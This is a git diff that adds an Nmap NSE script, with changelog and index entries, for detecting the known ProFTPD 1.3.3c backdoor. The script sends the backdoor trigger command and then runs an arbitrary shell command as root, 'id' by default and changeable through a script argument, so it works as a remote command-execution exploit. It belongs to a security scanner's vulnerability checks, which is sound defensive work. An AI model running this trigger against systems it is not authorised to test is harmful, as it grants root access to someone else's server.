diff --git a/CHANGELOG b/CHANGELOG
index 483e065b9..3f1ec44d2 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,8 @@
 # Nmap Changelog ($Id$); -*-text-*-
 
+o [NSE] Added the ftp-proftpd-backdoor.nse script by mak Kolybabi,
+  which checks for a backdoor in ProFTPD 1.3.3c.
+
 o [NSE] Added http-vhosts.nse from Carlos Pantelides. This script
   brute-forces virtual hosts by sending different Host headers to the
   same server.
diff --git a/scripts/ftp-proftpd-backdoor.nse b/scripts/ftp-proftpd-backdoor.nse
new file mode 100644
index 000000000..29d4c9af7
--- /dev/null
+++ b/scripts/ftp-proftpd-backdoor.nse
@@ -0,0 +1,108 @@
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+This script tests ProFTPD 1.3.3c for the presence of the
+backdoor which was reported as OSVDB-ID 69562.
+
+It allows the remote execution of commands in a root shell. The command that is
+executed by default is <code>id</code>, but that can be changed via script-args.
+]]
+
+---
+-- @usage
+-- nmap --script proftp-backdoor -p 21 <host>
+--
+-- @args proftp-backdoor.cmd Command to execute in shell (default is "id").
+--
+-- @output
+-- PORT   STATE SERVICE
+-- 21/tcp open  ftp
+-- | proftp-backdoor:
+-- |   This installation has been backdoored.
+-- |   Command: id
+-- |   Results: uid=0(root) gid=0(wheel) groups=0(wheel)
+-- |_
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+require("shortport")
+require("stdnse")
+
+local CMD_FTP = "HELP ACIDBITCHEZ"
+local CMD_SHELL = "id"
+
+portrule = shortport.port_or_service(21, "ftp")
+
+action = function(host, port)
+	local cmd, err, line, req, resp, results, sock, status
+
+	cmd = stdnse.get_script_args("proftp-backdoor.cmd")
+	if not cmd then
+		cmd = CMD_SHELL
+	end
+
+
+	-- Create socket.
+	sock = nmap.new_socket("tcp")
+	sock:set_timeout(5000)
+	status, err = sock:connect(host, port, "tcp")
+	if not status then
+		stdnse.print_debug(1, "Can't connect: %s", err)
+		sock:close()
+		return
+	end
+
+	-- Read banner.
+	status, resp = sock:receive_lines(1)
+	if not status then
+		stdnse.print_debug(1, "Can't read banner: %s", resp)
+		sock:close()
+		return
+	end
+
+	-- Check version.
+	if not resp:match("ProFTPD 1.3.3c") then
+		stdnse.print_debug(1, "This version is not known to be backdoored.")
+		return
+	end
+
+	-- Send command to escalate privilege.
+	status, err = sock:send(CMD_FTP .. "\r\n")
+	if not status then
+		stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
+		sock:close()
+		return
+	end
+
+	-- Send command(s) to shell, assuming that privilege escalation worked.
+	status, err = sock:send(cmd .. ";\r\n")
+	if not status then
+		stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
+		sock:close()
+		return
+	end
+
+	-- Check for an error from command.
+	status, resp = sock:receive()
+	if not status then
+		stdnse.print_debug(1, "Can't read command response: %s", resp)
+		sock:close()
+		return
+	elseif resp:match("502 Unknown command") then
+		stdnse.print_debug(1, "Privilege escalation failed: %s", resp)
+		sock:close()
+		return
+	end
+
+	-- Summarize the results.
+	results = {
+	   "This installation has been backdoored.",
+	   "Command: " .. CMD_SHELL,
+	   "Results: " .. resp
+	}
+
+	return stdnse.format_output(true, results)
+end
diff --git a/scripts/script.db b/scripts/script.db
index 23d0585b7..fe7a42acc 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -40,6 +40,7 @@ Entry { filename = "ftp-anon.nse", categories = { "auth", "default", "safe", } }
 Entry { filename = "ftp-bounce.nse", categories = { "default", "intrusive", } }
 Entry { filename = "ftp-brute.nse", categories = { "auth", "intrusive", } }
 Entry { filename = "ftp-libopie.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "discovery", "intrusive", } }
 Entry { filename = "giop-info.nse", categories = { "discovery", "safe", } }
 Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "safe", } }
 Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }